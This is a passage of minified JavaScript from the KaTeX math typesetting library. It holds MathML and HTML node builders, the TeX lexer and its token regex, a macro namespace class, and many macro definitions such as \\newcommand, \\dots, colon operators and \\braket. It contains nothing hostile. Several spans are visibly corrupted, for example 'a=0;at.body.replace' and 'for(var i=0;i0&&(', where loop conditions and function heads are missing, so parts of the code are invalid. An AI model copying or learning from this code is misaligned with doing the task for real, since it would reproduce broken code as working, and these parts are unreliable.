l=t.base;l&&l.type==="op"&&l.limits&&(e.style===nr.DISPLAY||l.alwaysHandleSupSub)||l&&l.type==="operatorname"&&l.alwaysHandleSupSub&&(l.limits||e.style===nr.DISPLAY)?s="mover":s="msup"}return new mt.MathNode(s,a)}});dd({type:"atom",htmlBuilder(t,e){return $e.mathsym(t.text,t.mode,e,["m"+t.family])},mathmlBuilder(t,e){var r=new mt.MathNode("mo",[Lo(t.text,t.mode)]);if(t.family==="bin"){var n=hA(t,e);n==="bold-italic"&&r.setAttribute("mathvariant",n)}else t.family==="punct"?r.setAttribute("separator","true"):(t.family==="open"||t.family==="close")&&r.setAttribute("stretchy","false");return r}});OU={mi:"italic",mn:"normal",mtext:"normal"};dd({type:"mathord",htmlBuilder(t,e){return $e.makeOrd(t,e,"mathord")},mathmlBuilder(t,e){var r=new mt.MathNode("mi",[Lo(t.text,t.mode,e)]),n=hA(t,e)||"italic";return n!==OU[r.type]&&r.setAttribute("mathvariant",n),r}});dd({type:"textord",htmlBuilder(t,e){return $e.makeOrd(t,e,"textord")},mathmlBuilder(t,e){var r=Lo(t.text,t.mode,e),n=hA(t,e)||"normal",i;return t.mode==="text"?i=new mt.MathNode("mtext",[r]):/[0-9]/.test(t.text)?i=new mt.MathNode("mn",[r]):t.text==="\\prime"?i=new mt.MathNode("mo",[r]):i=new mt.MathNode("mi",[r]),n!==OU[i.type]&&i.setAttribute("mathvariant",n),i}});W7={"\\nobreak":"nobreak","\\allowbreak":"allowbreak"},Y7={" ":{},"\\ ":{},"~":{className:"nobreak"},"\\space":{},"\\nobreakspace":{className:"nobreak"}};dd({type:"spacing",htmlBuilder(t,e){if(Y7.hasOwnProperty(t.text)){var r=Y7[t.text].className||"";if(t.mode==="text"){var n=$e.makeOrd(t,e,"textord");return n.classes.push(r),n}else return $e.makeSpan(["mspace",r],[$e.mathsym(t.text,t.mode,e)],e)}else{if(W7.hasOwnProperty(t.text))return $e.makeSpan(["mspace",W7[t.text]],[],e);throw new gt('Unknown type of space "'+t.text+'"')}},mathmlBuilder(t,e){var r;if(Y7.hasOwnProperty(t.text))r=new mt.MathNode("mtext",[new mt.TextNode("\xA0")]);else{if(W7.hasOwnProperty(t.text))return new mt.MathNode("mspace");throw new gt('Unknown type of space "'+t.text+'"')}return r}});BV=o(()=>{var t=new mt.MathNode("mtd",[]);return t.setAttribute("width","50%"),t},"pad");dd({type:"tag",mathmlBuilder(t,e){var r=new mt.MathNode("mtable",[new mt.MathNode("mtr",[BV(),new mt.MathNode("mtd",[Th(t.body,e)]),BV(),new mt.MathNode("mtd",[Th(t.tag,e)])])]);return r.setAttribute("width","100%"),r}});FV={"\\text":void 0,"\\textrm":"textrm","\\textsf":"textsf","\\texttt":"texttt","\\textnormal":"textrm"},$V={"\\textbf":"textbf","\\textmd":"textmd"},Awe={"\\textit":"textit","\\textup":"textup"},zV=o((t,e)=>{var r=t.font;if(r){if(FV[r])return e.withTextFontFamily(FV[r]);if($V[r])return e.withTextFontWeight($V[r]);if(r==="\\emph")return e.fontShape==="textit"?e.withTextFontShape("textup"):e.withTextFontShape("textit")}else return e;return e.withTextFontShape(Awe[r])},"optionsWithFont");Mt({type:"text",names:["\\text","\\textrm","\\textsf","\\texttt","\\textnormal","\\textbf","\\textmd","\\textit","\\textup","\\emph"],props:{numArgs:1,argTypes:["text"],allowedInArgument:!0,allowedInText:!0},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];return{type:"text",mode:r.mode,body:gi(i),font:n}},htmlBuilder(t,e){var r=zV(t,e),n=Ii(t.body,r,!0);return $e.makeSpan(["mord","text"],n,r)},mathmlBuilder(t,e){var r=zV(t,e);return Th(t.body,r)}});Mt({type:"underline",names:["\\underline"],props:{numArgs:1,allowedInText:!0},handler(t,e){var{parser:r}=t;return{type:"underline",mode:r.mode,body:e[0]}},htmlBuilder(t,e){var r=Hr(t.body,e),n=$e.makeLineSpan("underline-line",e),i=e.fontMetrics().defaultRuleThickness,a=$e.makeVList({positionType:"top",positionData:r.height,children:[{type:"kern",size:i},{type:"elem",elem:n},{type:"kern",size:3*i},{type:"elem",elem:r}]},e);return $e.makeSpan(["mord","underline"],[a],e)},mathmlBuilder(t,e){var r=new mt.MathNode("mo",[new mt.TextNode("\u203E")]);r.setAttribute("stretchy","true");var n=new mt.MathNode("munder",[wn(t.body,e),r]);return n.setAttribute("accentunder","true"),n}});Mt({type:"vcenter",names:["\\vcenter"],props:{numArgs:1,argTypes:["original"],allowedInText:!1},handler(t,e){var{parser:r}=t;return{type:"vcenter",mode:r.mode,body:e[0]}},htmlBuilder(t,e){var r=Hr(t.body,e),n=e.fontMetrics().axisHeight,i=.5*(r.height-n-(r.depth+n));return $e.makeVList({positionType:"shift",positionData:i,children:[{type:"elem",elem:r}]},e)},mathmlBuilder(t,e){return new mt.MathNode("mpadded",[wn(t.body,e)],["vcenter"])}});Mt({type:"verb",names:["\\verb"],props:{numArgs:0,allowedInText:!0},handler(t,e,r){throw new gt("\\verb ended by end of line instead of matching delimiter")},htmlBuilder(t,e){for(var r=GV(t),n=[],i=e.havingStyle(e.style.text()),a=0;at.body.replace(/ /g,t.star?"\u2423":"\xA0"),"makeVerb"),xh=iU,PU=`[ \r + ]`,_we="\\\\[a-zA-Z@]+",Dwe="\\\\[^\uD800-\uDFFF]",Lwe="("+_we+")"+PU+"*",Rwe=`\\\\( +|[ \r ]+ +?)[ \r ]*`,iA="[\u0300-\u036F]",Nwe=new RegExp(iA+"+$"),Mwe="("+PU+"+)|"+(Rwe+"|")+"([!-\\[\\]-\u2027\u202A-\uD7FF\uF900-\uFFFF]"+(iA+"*")+"|[\uD800-\uDBFF][\uDC00-\uDFFF]"+(iA+"*")+"|\\\\verb\\*([^]).*?\\4|\\\\verb([^*a-zA-Z]).*?\\5"+("|"+Lwe)+("|"+Dwe+")"),S3=class{static{o(this,"Lexer")}constructor(e,r){this.input=void 0,this.settings=void 0,this.tokenRegex=void 0,this.catcodes=void 0,this.input=e,this.settings=r,this.tokenRegex=new RegExp(Mwe,"g"),this.catcodes={"%":14,"~":13}}setCatcode(e,r){this.catcodes[e]=r}lex(){var e=this.input,r=this.tokenRegex.lastIndex;if(r===e.length)return new Do("EOF",new to(this,r,r));var n=this.tokenRegex.exec(e);if(n===null||n.index!==r)throw new gt("Unexpected character: '"+e[r]+"'",new Do(e[r],new to(this,r,r+1)));var i=n[6]||n[3]||(n[2]?"\\ ":" ");if(this.catcodes[i]===14){var a=e.indexOf(` +`,this.tokenRegex.lastIndex);return a===-1?(this.tokenRegex.lastIndex=e.length,this.settings.reportNonstrict("commentAtEnd","% comment has no terminating newline; LaTeX would fail because of commenting the end of math mode (e.g. $)")):this.tokenRegex.lastIndex=a+1,this.lex()}return new Do(i,new to(this,r,this.tokenRegex.lastIndex))}},aA=class{static{o(this,"Namespace")}constructor(e,r){e===void 0&&(e={}),r===void 0&&(r={}),this.current=void 0,this.builtins=void 0,this.undefStack=void 0,this.current=r,this.builtins=e,this.undefStack=[]}beginGroup(){this.undefStack.push({})}endGroup(){if(this.undefStack.length===0)throw new gt("Unbalanced namespace destruction: attempt to pop global namespace; please report this as a bug");var e=this.undefStack.pop();for(var r in e)e.hasOwnProperty(r)&&(e[r]==null?delete this.current[r]:this.current[r]=e[r])}endGroups(){for(;this.undefStack.length>0;)this.endGroup()}has(e){return this.current.hasOwnProperty(e)||this.builtins.hasOwnProperty(e)}get(e){return this.current.hasOwnProperty(e)?this.current[e]:this.builtins[e]}set(e,r,n){if(n===void 0&&(n=!1),n){for(var i=0;i0&&(this.undefStack[this.undefStack.length-1][e]=r)}else{var a=this.undefStack[this.undefStack.length-1];a&&!a.hasOwnProperty(e)&&(a[e]=this.current[e])}r==null?delete this.current[e]:this.current[e]=r}},Iwe=SU;ce("\\noexpand",function(t){var e=t.popToken();return t.isExpandable(e.text)&&(e.noexpand=!0,e.treatAsRelax=!0),{tokens:[e],numArgs:0}});ce("\\expandafter",function(t){var e=t.popToken();return t.expandOnce(!0),{tokens:[e],numArgs:0}});ce("\\@firstoftwo",function(t){var e=t.consumeArgs(2);return{tokens:e[0],numArgs:0}});ce("\\@secondoftwo",function(t){var e=t.consumeArgs(2);return{tokens:e[1],numArgs:0}});ce("\\@ifnextchar",function(t){var e=t.consumeArgs(3);t.consumeSpaces();var r=t.future();return e[0].length===1&&e[0][0].text===r.text?{tokens:e[1],numArgs:0}:{tokens:e[2],numArgs:0}});ce("\\@ifstar","\\@ifnextchar *{\\@firstoftwo{#1}}");ce("\\TextOrMath",function(t){var e=t.consumeArgs(2);return t.mode==="text"?{tokens:e[0],numArgs:0}:{tokens:e[1],numArgs:0}});VV={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,a:10,A:10,b:11,B:11,c:12,C:12,d:13,D:13,e:14,E:14,f:15,F:15};ce("\\char",function(t){var e=t.popToken(),r,n="";if(e.text==="'")r=8,e=t.popToken();else if(e.text==='"')r=16,e=t.popToken();else if(e.text==="`")if(e=t.popToken(),e.text[0]==="\\")n=e.text.charCodeAt(1);else{if(e.text==="EOF")throw new gt("\\char` missing argument");n=e.text.charCodeAt(0)}else r=10;if(r){if(n=VV[e.text],n==null||n>=r)throw new gt("Invalid base-"+r+" digit "+e.text);for(var i;(i=VV[t.future().text])!=null&&i{var i=t.consumeArg().tokens;if(i.length!==1)throw new gt("\\newcommand's first argument must be a macro name");var a=i[0].text,s=t.isDefined(a);if(s&&!e)throw new gt("\\newcommand{"+a+"} attempting to redefine "+(a+"; use \\renewcommand"));if(!s&&!r)throw new gt("\\renewcommand{"+a+"} when command "+a+" does not yet exist; use \\newcommand");var l=0;if(i=t.consumeArg().tokens,i.length===1&&i[0].text==="["){for(var u="",h=t.expandNextToken();h.text!=="]"&&h.text!=="EOF";)u+=h.text,h=t.expandNextToken();if(!u.match(/^\s*[0-9]+\s*$/))throw new gt("Invalid number of arguments: "+u);l=parseInt(u),i=t.consumeArg().tokens}return s&&n||t.macros.set(a,{tokens:i,numArgs:l}),""},"newcommand");ce("\\newcommand",t=>TA(t,!1,!0,!1));ce("\\renewcommand",t=>TA(t,!0,!1,!1));ce("\\providecommand",t=>TA(t,!0,!0,!0));ce("\\message",t=>{var e=t.consumeArgs(1)[0];return console.log(e.reverse().map(r=>r.text).join("")),""});ce("\\errmessage",t=>{var e=t.consumeArgs(1)[0];return console.error(e.reverse().map(r=>r.text).join("")),""});ce("\\show",t=>{var e=t.popToken(),r=e.text;return console.log(e,t.macros.get(r),xh[r],Nn.math[r],Nn.text[r]),""});ce("\\bgroup","{");ce("\\egroup","}");ce("~","\\nobreakspace");ce("\\lq","`");ce("\\rq","'");ce("\\aa","\\r a");ce("\\AA","\\r A");ce("\\textcopyright","\\html@mathml{\\textcircled{c}}{\\char`\xA9}");ce("\\copyright","\\TextOrMath{\\textcopyright}{\\text{\\textcopyright}}");ce("\\textregistered","\\html@mathml{\\textcircled{\\scriptsize R}}{\\char`\xAE}");ce("\u212C","\\mathscr{B}");ce("\u2130","\\mathscr{E}");ce("\u2131","\\mathscr{F}");ce("\u210B","\\mathscr{H}");ce("\u2110","\\mathscr{I}");ce("\u2112","\\mathscr{L}");ce("\u2133","\\mathscr{M}");ce("\u211B","\\mathscr{R}");ce("\u212D","\\mathfrak{C}");ce("\u210C","\\mathfrak{H}");ce("\u2128","\\mathfrak{Z}");ce("\\Bbbk","\\Bbb{k}");ce("\xB7","\\cdotp");ce("\\llap","\\mathllap{\\textrm{#1}}");ce("\\rlap","\\mathrlap{\\textrm{#1}}");ce("\\clap","\\mathclap{\\textrm{#1}}");ce("\\mathstrut","\\vphantom{(}");ce("\\underbar","\\underline{\\text{#1}}");ce("\\not",'\\html@mathml{\\mathrel{\\mathrlap\\@not}}{\\char"338}');ce("\\neq","\\html@mathml{\\mathrel{\\not=}}{\\mathrel{\\char`\u2260}}");ce("\\ne","\\neq");ce("\u2260","\\neq");ce("\\notin","\\html@mathml{\\mathrel{{\\in}\\mathllap{/\\mskip1mu}}}{\\mathrel{\\char`\u2209}}");ce("\u2209","\\notin");ce("\u2258","\\html@mathml{\\mathrel{=\\kern{-1em}\\raisebox{0.4em}{$\\scriptsize\\frown$}}}{\\mathrel{\\char`\u2258}}");ce("\u2259","\\html@mathml{\\stackrel{\\tiny\\wedge}{=}}{\\mathrel{\\char`\u2258}}");ce("\u225A","\\html@mathml{\\stackrel{\\tiny\\vee}{=}}{\\mathrel{\\char`\u225A}}");ce("\u225B","\\html@mathml{\\stackrel{\\scriptsize\\star}{=}}{\\mathrel{\\char`\u225B}}");ce("\u225D","\\html@mathml{\\stackrel{\\tiny\\mathrm{def}}{=}}{\\mathrel{\\char`\u225D}}");ce("\u225E","\\html@mathml{\\stackrel{\\tiny\\mathrm{m}}{=}}{\\mathrel{\\char`\u225E}}");ce("\u225F","\\html@mathml{\\stackrel{\\tiny?}{=}}{\\mathrel{\\char`\u225F}}");ce("\u27C2","\\perp");ce("\u203C","\\mathclose{!\\mkern-0.8mu!}");ce("\u220C","\\notni");ce("\u231C","\\ulcorner");ce("\u231D","\\urcorner");ce("\u231E","\\llcorner");ce("\u231F","\\lrcorner");ce("\xA9","\\copyright");ce("\xAE","\\textregistered");ce("\uFE0F","\\textregistered");ce("\\ulcorner",'\\html@mathml{\\@ulcorner}{\\mathop{\\char"231c}}');ce("\\urcorner",'\\html@mathml{\\@urcorner}{\\mathop{\\char"231d}}');ce("\\llcorner",'\\html@mathml{\\@llcorner}{\\mathop{\\char"231e}}');ce("\\lrcorner",'\\html@mathml{\\@lrcorner}{\\mathop{\\char"231f}}');ce("\\vdots","{\\varvdots\\rule{0pt}{15pt}}");ce("\u22EE","\\vdots");ce("\\varGamma","\\mathit{\\Gamma}");ce("\\varDelta","\\mathit{\\Delta}");ce("\\varTheta","\\mathit{\\Theta}");ce("\\varLambda","\\mathit{\\Lambda}");ce("\\varXi","\\mathit{\\Xi}");ce("\\varPi","\\mathit{\\Pi}");ce("\\varSigma","\\mathit{\\Sigma}");ce("\\varUpsilon","\\mathit{\\Upsilon}");ce("\\varPhi","\\mathit{\\Phi}");ce("\\varPsi","\\mathit{\\Psi}");ce("\\varOmega","\\mathit{\\Omega}");ce("\\substack","\\begin{subarray}{c}#1\\end{subarray}");ce("\\colon","\\nobreak\\mskip2mu\\mathpunct{}\\mathchoice{\\mkern-3mu}{\\mkern-3mu}{}{}{:}\\mskip6mu\\relax");ce("\\boxed","\\fbox{$\\displaystyle{#1}$}");ce("\\iff","\\DOTSB\\;\\Longleftrightarrow\\;");ce("\\implies","\\DOTSB\\;\\Longrightarrow\\;");ce("\\impliedby","\\DOTSB\\;\\Longleftarrow\\;");ce("\\dddot","{\\overset{\\raisebox{-0.1ex}{\\normalsize ...}}{#1}}");ce("\\ddddot","{\\overset{\\raisebox{-0.1ex}{\\normalsize ....}}{#1}}");UV={",":"\\dotsc","\\not":"\\dotsb","+":"\\dotsb","=":"\\dotsb","<":"\\dotsb",">":"\\dotsb","-":"\\dotsb","*":"\\dotsb",":":"\\dotsb","\\DOTSB":"\\dotsb","\\coprod":"\\dotsb","\\bigvee":"\\dotsb","\\bigwedge":"\\dotsb","\\biguplus":"\\dotsb","\\bigcap":"\\dotsb","\\bigcup":"\\dotsb","\\prod":"\\dotsb","\\sum":"\\dotsb","\\bigotimes":"\\dotsb","\\bigoplus":"\\dotsb","\\bigodot":"\\dotsb","\\bigsqcup":"\\dotsb","\\And":"\\dotsb","\\longrightarrow":"\\dotsb","\\Longrightarrow":"\\dotsb","\\longleftarrow":"\\dotsb","\\Longleftarrow":"\\dotsb","\\longleftrightarrow":"\\dotsb","\\Longleftrightarrow":"\\dotsb","\\mapsto":"\\dotsb","\\longmapsto":"\\dotsb","\\hookrightarrow":"\\dotsb","\\doteq":"\\dotsb","\\mathbin":"\\dotsb","\\mathrel":"\\dotsb","\\relbar":"\\dotsb","\\Relbar":"\\dotsb","\\xrightarrow":"\\dotsb","\\xleftarrow":"\\dotsb","\\DOTSI":"\\dotsi","\\int":"\\dotsi","\\oint":"\\dotsi","\\iint":"\\dotsi","\\iiint":"\\dotsi","\\iiiint":"\\dotsi","\\idotsint":"\\dotsi","\\DOTSX":"\\dotsx"};ce("\\dots",function(t){var e="\\dotso",r=t.expandAfterFuture().text;return r in UV?e=UV[r]:(r.slice(0,4)==="\\not"||r in Nn.math&&er.contains(["bin","rel"],Nn.math[r].group))&&(e="\\dotsb"),e});wA={")":!0,"]":!0,"\\rbrack":!0,"\\}":!0,"\\rbrace":!0,"\\rangle":!0,"\\rceil":!0,"\\rfloor":!0,"\\rgroup":!0,"\\rmoustache":!0,"\\right":!0,"\\bigr":!0,"\\biggr":!0,"\\Bigr":!0,"\\Biggr":!0,$:!0,";":!0,".":!0,",":!0};ce("\\dotso",function(t){var e=t.future().text;return e in wA?"\\ldots\\,":"\\ldots"});ce("\\dotsc",function(t){var e=t.future().text;return e in wA&&e!==","?"\\ldots\\,":"\\ldots"});ce("\\cdots",function(t){var e=t.future().text;return e in wA?"\\@cdots\\,":"\\@cdots"});ce("\\dotsb","\\cdots");ce("\\dotsm","\\cdots");ce("\\dotsi","\\!\\cdots");ce("\\dotsx","\\ldots\\,");ce("\\DOTSI","\\relax");ce("\\DOTSB","\\relax");ce("\\DOTSX","\\relax");ce("\\tmspace","\\TextOrMath{\\kern#1#3}{\\mskip#1#2}\\relax");ce("\\,","\\tmspace+{3mu}{.1667em}");ce("\\thinspace","\\,");ce("\\>","\\mskip{4mu}");ce("\\:","\\tmspace+{4mu}{.2222em}");ce("\\medspace","\\:");ce("\\;","\\tmspace+{5mu}{.2777em}");ce("\\thickspace","\\;");ce("\\!","\\tmspace-{3mu}{.1667em}");ce("\\negthinspace","\\!");ce("\\negmedspace","\\tmspace-{4mu}{.2222em}");ce("\\negthickspace","\\tmspace-{5mu}{.277em}");ce("\\enspace","\\kern.5em ");ce("\\enskip","\\hskip.5em\\relax");ce("\\quad","\\hskip1em\\relax");ce("\\qquad","\\hskip2em\\relax");ce("\\tag","\\@ifstar\\tag@literal\\tag@paren");ce("\\tag@paren","\\tag@literal{({#1})}");ce("\\tag@literal",t=>{if(t.macros.get("\\df@tag"))throw new gt("Multiple \\tag");return"\\gdef\\df@tag{\\text{#1}}"});ce("\\bmod","\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}\\mathbin{\\rm mod}\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}");ce("\\pod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern8mu}{\\mkern8mu}{\\mkern8mu}(#1)");ce("\\pmod","\\pod{{\\rm mod}\\mkern6mu#1}");ce("\\mod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern12mu}{\\mkern12mu}{\\mkern12mu}{\\rm mod}\\,\\,#1");ce("\\newline","\\\\\\relax");ce("\\TeX","\\textrm{\\html@mathml{T\\kern-.1667em\\raisebox{-.5ex}{E}\\kern-.125emX}{TeX}}");BU=St(Ql["Main-Regular"][84][1]-.7*Ql["Main-Regular"][65][1]);ce("\\LaTeX","\\textrm{\\html@mathml{"+("L\\kern-.36em\\raisebox{"+BU+"}{\\scriptstyle A}")+"\\kern-.15em\\TeX}{LaTeX}}");ce("\\KaTeX","\\textrm{\\html@mathml{"+("K\\kern-.17em\\raisebox{"+BU+"}{\\scriptstyle A}")+"\\kern-.15em\\TeX}{KaTeX}}");ce("\\hspace","\\@ifstar\\@hspacer\\@hspace");ce("\\@hspace","\\hskip #1\\relax");ce("\\@hspacer","\\rule{0pt}{0pt}\\hskip #1\\relax");ce("\\ordinarycolon",":");ce("\\vcentcolon","\\mathrel{\\mathop\\ordinarycolon}");ce("\\dblcolon",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-.9mu}\\vcentcolon}}{\\mathop{\\char"2237}}');ce("\\coloneqq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2254}}');ce("\\Coloneqq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2237\\char"3d}}');ce("\\coloneq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"3a\\char"2212}}');ce("\\Coloneq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"2237\\char"2212}}');ce("\\eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2255}}');ce("\\Eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"3d\\char"2237}}');ce("\\eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2239}}');ce("\\Eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"2212\\char"2237}}');ce("\\colonapprox",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"3a\\char"2248}}');ce("\\Colonapprox",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"2237\\char"2248}}');ce("\\colonsim",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"3a\\char"223c}}');ce("\\Colonsim",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"2237\\char"223c}}');ce("\u2237","\\dblcolon");ce("\u2239","\\eqcolon");ce("\u2254","\\coloneqq");ce("\u2255","\\eqqcolon");ce("\u2A74","\\Coloneqq");ce("\\ratio","\\vcentcolon");ce("\\coloncolon","\\dblcolon");ce("\\colonequals","\\coloneqq");ce("\\coloncolonequals","\\Coloneqq");ce("\\equalscolon","\\eqqcolon");ce("\\equalscoloncolon","\\Eqqcolon");ce("\\colonminus","\\coloneq");ce("\\coloncolonminus","\\Coloneq");ce("\\minuscolon","\\eqcolon");ce("\\minuscoloncolon","\\Eqcolon");ce("\\coloncolonapprox","\\Colonapprox");ce("\\coloncolonsim","\\Colonsim");ce("\\simcolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\vcentcolon}");ce("\\simcoloncolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\dblcolon}");ce("\\approxcolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\vcentcolon}");ce("\\approxcoloncolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\dblcolon}");ce("\\notni","\\html@mathml{\\not\\ni}{\\mathrel{\\char`\u220C}}");ce("\\limsup","\\DOTSB\\operatorname*{lim\\,sup}");ce("\\liminf","\\DOTSB\\operatorname*{lim\\,inf}");ce("\\injlim","\\DOTSB\\operatorname*{inj\\,lim}");ce("\\projlim","\\DOTSB\\operatorname*{proj\\,lim}");ce("\\varlimsup","\\DOTSB\\operatorname*{\\overline{lim}}");ce("\\varliminf","\\DOTSB\\operatorname*{\\underline{lim}}");ce("\\varinjlim","\\DOTSB\\operatorname*{\\underrightarrow{lim}}");ce("\\varprojlim","\\DOTSB\\operatorname*{\\underleftarrow{lim}}");ce("\\gvertneqq","\\html@mathml{\\@gvertneqq}{\u2269}");ce("\\lvertneqq","\\html@mathml{\\@lvertneqq}{\u2268}");ce("\\ngeqq","\\html@mathml{\\@ngeqq}{\u2271}");ce("\\ngeqslant","\\html@mathml{\\@ngeqslant}{\u2271}");ce("\\nleqq","\\html@mathml{\\@nleqq}{\u2270}");ce("\\nleqslant","\\html@mathml{\\@nleqslant}{\u2270}");ce("\\nshortmid","\\html@mathml{\\@nshortmid}{\u2224}");ce("\\nshortparallel","\\html@mathml{\\@nshortparallel}{\u2226}");ce("\\nsubseteqq","\\html@mathml{\\@nsubseteqq}{\u2288}");ce("\\nsupseteqq","\\html@mathml{\\@nsupseteqq}{\u2289}");ce("\\varsubsetneq","\\html@mathml{\\@varsubsetneq}{\u228A}");ce("\\varsubsetneqq","\\html@mathml{\\@varsubsetneqq}{\u2ACB}");ce("\\varsupsetneq","\\html@mathml{\\@varsupsetneq}{\u228B}");ce("\\varsupsetneqq","\\html@mathml{\\@varsupsetneqq}{\u2ACC}");ce("\\imath","\\html@mathml{\\@imath}{\u0131}");ce("\\jmath","\\html@mathml{\\@jmath}{\u0237}");ce("\\llbracket","\\html@mathml{\\mathopen{[\\mkern-3.2mu[}}{\\mathopen{\\char`\u27E6}}");ce("\\rrbracket","\\html@mathml{\\mathclose{]\\mkern-3.2mu]}}{\\mathclose{\\char`\u27E7}}");ce("\u27E6","\\llbracket");ce("\u27E7","\\rrbracket");ce("\\lBrace","\\html@mathml{\\mathopen{\\{\\mkern-3.2mu[}}{\\mathopen{\\char`\u2983}}");ce("\\rBrace","\\html@mathml{\\mathclose{]\\mkern-3.2mu\\}}}{\\mathclose{\\char`\u2984}}");ce("\u2983","\\lBrace");ce("\u2984","\\rBrace");ce("\\minuso","\\mathbin{\\html@mathml{{\\mathrlap{\\mathchoice{\\kern{0.145em}}{\\kern{0.145em}}{\\kern{0.1015em}}{\\kern{0.0725em}}\\circ}{-}}}{\\char`\u29B5}}");ce("\u29B5","\\minuso");ce("\\darr","\\downarrow");ce("\\dArr","\\Downarrow");ce("\\Darr","\\Downarrow");ce("\\lang","\\langle");ce("\\rang","\\rangle");ce("\\uarr","\\uparrow");ce("\\uArr","\\Uparrow");ce("\\Uarr","\\Uparrow");ce("\\N","\\mathbb{N}");ce("\\R","\\mathbb{R}");ce("\\Z","\\mathbb{Z}");ce("\\alef","\\aleph");ce("\\alefsym","\\aleph");ce("\\Alpha","\\mathrm{A}");ce("\\Beta","\\mathrm{B}");ce("\\bull","\\bullet");ce("\\Chi","\\mathrm{X}");ce("\\clubs","\\clubsuit");ce("\\cnums","\\mathbb{C}");ce("\\Complex","\\mathbb{C}");ce("\\Dagger","\\ddagger");ce("\\diamonds","\\diamondsuit");ce("\\empty","\\emptyset");ce("\\Epsilon","\\mathrm{E}");ce("\\Eta","\\mathrm{H}");ce("\\exist","\\exists");ce("\\harr","\\leftrightarrow");ce("\\hArr","\\Leftrightarrow");ce("\\Harr","\\Leftrightarrow");ce("\\hearts","\\heartsuit");ce("\\image","\\Im");ce("\\infin","\\infty");ce("\\Iota","\\mathrm{I}");ce("\\isin","\\in");ce("\\Kappa","\\mathrm{K}");ce("\\larr","\\leftarrow");ce("\\lArr","\\Leftarrow");ce("\\Larr","\\Leftarrow");ce("\\lrarr","\\leftrightarrow");ce("\\lrArr","\\Leftrightarrow");ce("\\Lrarr","\\Leftrightarrow");ce("\\Mu","\\mathrm{M}");ce("\\natnums","\\mathbb{N}");ce("\\Nu","\\mathrm{N}");ce("\\Omicron","\\mathrm{O}");ce("\\plusmn","\\pm");ce("\\rarr","\\rightarrow");ce("\\rArr","\\Rightarrow");ce("\\Rarr","\\Rightarrow");ce("\\real","\\Re");ce("\\reals","\\mathbb{R}");ce("\\Reals","\\mathbb{R}");ce("\\Rho","\\mathrm{P}");ce("\\sdot","\\cdot");ce("\\sect","\\S");ce("\\spades","\\spadesuit");ce("\\sub","\\subset");ce("\\sube","\\subseteq");ce("\\supe","\\supseteq");ce("\\Tau","\\mathrm{T}");ce("\\thetasym","\\vartheta");ce("\\weierp","\\wp");ce("\\Zeta","\\mathrm{Z}");ce("\\argmin","\\DOTSB\\operatorname*{arg\\,min}");ce("\\argmax","\\DOTSB\\operatorname*{arg\\,max}");ce("\\plim","\\DOTSB\\mathop{\\operatorname{plim}}\\limits");ce("\\bra","\\mathinner{\\langle{#1}|}");ce("\\ket","\\mathinner{|{#1}\\rangle}");ce("\\braket","\\mathinner{\\langle{#1}\\rangle}");ce("\\Bra","\\left\\langle#1\\right|");ce("\\Ket","\\left|#1\\right\\rangle");FU=o(t=>e=>{var r=e.consumeArg().tokens,n=e.consumeArg().tokens,i=e.consumeArg().tokens,a=e.consumeArg().tokens,s=e.macros.get("|"),l=e.macros.get("\\|");e.macros.beginGroup();var u=o(d=>p=>{t&&(p.macros.set("|",s),i.length&&p.macros.set("\\|",l));var m=d;if(!d&&i.length){var g=p.future();g.text==="|"&&(p.popToken(),m=!0)}return{tokens:m?i:n,numArgs:0}},"midMacro");e.macros.set("|",u(!1)),i.length&&e.macros.set("\\|",u(!0));var h=e.consumeArg().tokens,f=e.expandTokens([...a,...h,...r]);return e.macros.endGroup(),{tokens:f.reverse(),numArgs:0}},"braketHelper");ce("\\bra@ket",FU(!1));ce("\\bra@set",FU(!0));ce("\\Braket","\\bra@ket{\\left\\langle}{\\,\\middle\\vert\\,}{\\,\\middle\\vert\\,}{\\right\\rangle}");ce("\\Set","\\bra@set{\\left\\{\\:}{\\;\\middle\\vert\\;}{\\;\\middle\\Vert\\;}{\\:\\right\\}}");ce("\\set","\\bra@set{\\{\\,}{\\mid}{}{\\,\\}}");ce("\\angln","{\\angl 